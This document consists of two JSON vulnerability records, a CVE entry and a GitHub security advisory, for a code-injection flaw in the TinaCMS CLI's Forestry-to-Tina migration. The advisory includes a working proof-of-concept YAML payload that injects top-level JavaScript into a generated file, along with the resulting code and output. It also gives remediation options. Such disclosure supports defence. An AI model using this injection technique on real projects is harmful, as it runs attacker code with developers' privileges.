{
  "affected": [
    {
      "affectedData": [
        {
          "product": "tinacms",
          "vendor": "tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.4.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Tina is a headless content management system. @tinacms/cli versions prior to 2.4.3 contain a Remote Code Execution vulnerability in the Forestry-to-Tina migration command. The internal helper addVariablesToCode unquotes any value matching the marker \"__TINA_INTERNAL__:::(.*?):::\" inside the stringified collection JSON. User-supplied label and name fields from .forestry/**/*.yml are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated tina/templates.{ts,js} file. The injected code is written at module top level, so it executes the moment the developer runs tinacms dev or tinacms build, with the developer\u0027s privileges. This issue has been fixed in version 2.4.3."
    }
  ],
  "id": "CVE-2026-54074",
  "lastModified": "2026-07-02T17:45:00.780",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-54074",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-02T15:35:43.965135Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-01T21:17:03.227",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54074"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:15:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Description\n\n### Summary\n\n`@tinacms/cli` contains a Remote Code Execution vulnerability in its\nForestry-to-Tina migration command. The internal helper `addVariablesToCode`\nunquotes any value matching the marker `\"__TINA_INTERNAL__:::(.*?):::\"`\ninside the stringified collection JSON. User-supplied `label` and `name`\nfields from `.forestry/**/*.yml` are placed into that JSON without any\nsanitisation. An attacker who controls a Forestry-style project can therefore\ninject arbitrary JavaScript into the generated `tina/templates.{ts,js}`\nfile. The injected code is written at module top level, so it executes\n**the moment the developer runs `tinacms dev` or `tinacms build`**, with the\ndeveloper\u0027s privileges.\n\n### Details\n\n**Vulnerable code path:**\n\n1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts`\n   \u2014 `transformForestryFieldsToTinaFields()` writes `forestryField.label`\n   (and `.name`) straight into TinaField objects (no sanitisation).\n2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`,\n   lines 16-22 \u2014 the regex-based unquoter:\n\n   ```ts\n   export const addVariablesToCode = (codeWithTinaPrefix: string) =\u003e {\n     const code = codeWithTinaPrefix.replace(\n       /\"__TINA_INTERNAL__:::(.*?):::\"/g,\n       \u0027$1\u0027\n     );\n     return { code };\n   };\n   ```\n\n3. `codeTransformer.ts` lines 80-88 \u2014 the field array is\n   `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because\n   `JSON.stringify` does **not** escape single quotes or backticks, an\n   attacker who avoids `\"` in the payload survives the JSON pass intact.\n4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 \u2014 the\n   resulting string is written to `tina/templates.{ts,js}` and imported by\n   the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates.\n\n**Why it executes immediately:** the regex unquoting allows the attacker\u0027s\npayload to *close the surrounding object/array and the enclosing\n`xxxFields()` function*, drop a top-level IIFE, and then start a dummy\nfunction that swallows the trailing JSON. The IIFE is at module scope,\nso it runs the instant `tina/config.ts` imports `./templates`.\n\n### PoC\n\nEnd-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from\ncommit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24\n(behaviour is identical on Node 22).\n\n**Step 1 \u2014 attacker prepares a malicious Forestry project**\n\n`.forestry/settings.yml`\n\n```yaml\n---\nnew_page_extension: md\nauto_deploy: false\nadmin_path: \u0027\u0027\nwebhook_url: \u0027\u0027\nsections:\n- type: directory\n  path: content/posts\n  label: Posts\n  create: all\n  match: \"**/*.md\"\n  templates:\n  - rce\n```\n\n`.forestry/front_matter/templates/rce.yml`\n\n```yaml\n---\nlabel: rce_template\nfields:\n- name: title\n  type: text\n  label: \"__TINA_INTERNAL__:::1}] }; (function(){ const fs=require(\u0027fs\u0027); const os=require(\u0027os\u0027); fs.writeFileSync(require(\u0027path\u0027).join(os.tmpdir(),\u0027PWNED_PROOF.txt\u0027), \u0027RCE triggered on \u0027 + os.hostname() + \u0027 at \u0027 + new Date().toISOString()); console.log(\u0027=== RCE SUCCESSFUL ===\u0027); })(); function _ignore_(){ return [{x:1:::\"\n```\n\n\u003e **Note on payload encoding.** The original disclosure draft used double\n\u003e quotes inside the payload (`console.log(\"RCE\")`). `JSON.stringify` escapes\n\u003e those to `\\\"`, which makes the generated TypeScript syntactically invalid\n\u003e and is rejected by Prettier before the file is written. Using single\n\u003e quotes or backticks for the inner string literals is required for the\n\u003e exploit to succeed.\n\n**Step 2 \u2014 victim runs the standard onboarding flow**\n\n```bash\ngit clone \u003cattacker repo\u003e\ncd \u003cattacker repo\u003e\nnpx tinacms init       # accepts the \"migrate Forestry templates?\" prompt\nnpx tinacms dev        # OR: npx tinacms build\n```\n\n**Step 3 \u2014 generated `tina/templates.ts` (verbatim, from a clean run)**\n\n```ts\nimport type { TinaField } from \"tinacms\";\nexport function rce_templateFields() {\n  return [{ type: \"string\", name: \"title\", label: 1 }];\n}\n(function () {                                          // \u003c-- TOP-LEVEL IIFE\n  const fs = require(\"fs\");\n  const os = require(\"os\");\n  fs.writeFileSync(\n    require(\"path\").join(os.tmpdir(), \"PWNED_PROOF.txt\"),\n    \"RCE triggered on \" + os.hostname() + \" at \" + new Date().toISOString()\n  );\n  console.log(\"=== RCE SUCCESSFUL ===\");\n})();\nfunction _ignore_() {\n  return [{ x: 1 }] as TinaField[];\n}\n```\n\n**Step 4 \u2014 observed result**\n\n```\n$ npx tinacms dev --noTelemetry --no-server\n\ud83e\udd99 TinaCMS Dev Server is initializing...\n=== RCE SUCCESSFUL ===\nCannot read properties of undefined (reading \u0027publicFolder\u0027)\n\n$ cat \"$TEMP/PWNED_PROOF.txt\"\nRCE triggered on \u003chostname\u003e at 2026-05-23T06:57:29.800Z\n```\n\nThe `=== RCE SUCCESSFUL ===` line is printed **before** the dev server\nfails on the (intentionally minimal) config, proving the malicious code\nexecuted during config evaluation.\n\n### Impact\n\n* **Class:** Remote Code Execution (code injection into a generated source\n  file that is automatically executed by the dev server/build).\n* **Attack vector:** Any developer who runs `tinacms init` on a Forestry\n  project they did not author (e.g. a starter template, a community fork,\n  a \"convert my site to Tina\" service, an evaluation of a third-party\n  CMS migration) and then runs `tinacms dev` or `tinacms build`.\n* **Privileges obtained:** Full execution under the developer\u0027s user\n  account. Practical consequences include:\n  * Exfiltration of environment variables, `.env` files, SSH keys,\n    `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`.\n  * Source-code modification (planting backdoors before the developer\u0027s\n    next commit / publish).\n  * Supply-chain abuse via the developer\u0027s `npm publish` and `git push`\n    credentials.\n  * Persistence via shell rc files or scheduled tasks.\n* **Authentication:** None required from the attacker.\n* **User interaction:** Required \u2014 victim must run the migration and then\n  the dev/build command. The migration prompt defaults to \"yes\".\n\n\n## Suggested Remediation\n\nEither fix is sufficient; **Option B is preferred** because it is\nstructurally impossible to bypass and does not silently drop user content.\n\n### Option A \u2014 sanitise user-controlled strings (the disclosure draft\u0027s proposal)\n\n```ts\n// packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts\nconst sanitizeString = (str: unknown): unknown =\u003e\n  typeof str === \u0027string\u0027\n    ? str.replace(/__TINA_INTERNAL__:::/g, \u0027\u0027)\n    : str;\n```\n\nApply to **every** user-controlled string that flows into a TinaField\nobject \u2014 at minimum `forestryField.label`, `forestryField.name`,\n`forestryField.template`, `forestryField.config.options[*]`,\n`forestryField.config.source.section`, and the equivalents on nested\n`fields`/`template_types` recursive paths.\n\n### Option B \u2014 change the marker to a sequence that cannot survive `JSON.stringify` of user data\n\n```ts\n// codeTransformer.ts\nconst MARKER_OPEN  = \u0027\u0001__TINA_INTERNAL__\u0001\u0027;\nconst MARKER_CLOSE = \u0027\u0001/__TINA_INTERNAL__\u0001\u0027;\n\nexport const addVariablesToCode = (s: string) =\u003e ({\n  code: s.replace(\n    new RegExp(`\"${MARKER_OPEN}(.*?)${MARKER_CLOSE}\"`, \u0027g\u0027),\n    \u0027$1\u0027\n  ),\n});\n```\n\n`JSON.stringify` escapes `\u0001` to the six-character sequence\n`\u0001`, so any literal control character supplied via YAML can never\nreconstruct the marker. The internal callers (`makeFieldsWithInternalCode`)\nkeep emitting real `\u0001` bytes, so the legitimate flow continues to\nwork and no user content is silently mutated.\n\n### Defence-in-depth\n\nRegardless of which option ships, the migration code should also:\n\n* Reject `forestryField.label` / `.name` that contain newlines or NUL\n  bytes (Forestry never produced them).\n* Wrap the eventual `prettier.format(...)` call so that if formatting\n  fails the build aborts (today an exception is propagated, which is\n  good \u2014 keep it that way).\n\n---\n\n## Credit\n\nReported by **AnGrY-Althaf** (`angry.althaf@gmail.com`).\n\nEnd-to-end PoC executed locally against\n`tinacms@2.3.1` / `@tinacms/cli@2.3.1` built from commit `ae1ab5d0f`\nof `https://github.com/tinacms/tinacms`.",
  "id": "GHSA-4936-9hrh-qqpw",
  "modified": "2026-06-19T21:15:16Z",
  "published": "2026-06-19T21:15:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-4936-9hrh-qqpw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/77665ae73dd4f9563d339535e76fa811a8abdfbb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@tinacms/cli: Remote Code Execution in @tinacms/cli via Forestry migration \u2014 unsanitised __TINA_INTERNAL__ marker in user-controlled YAML labels"
}